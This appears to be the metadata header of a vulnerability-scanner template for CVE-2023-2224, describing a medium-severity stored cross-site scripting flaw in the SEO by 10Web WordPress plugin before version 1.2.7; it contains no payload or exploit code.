id: CVE-2023-2224

info:
  name: Seo By 10Web < 1.2.7 - Cross-Site Scripting
  author: luisfelipe146
  severity: medium
  description: |
    The SEO by 10Web WordPress plugin before 1.2.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
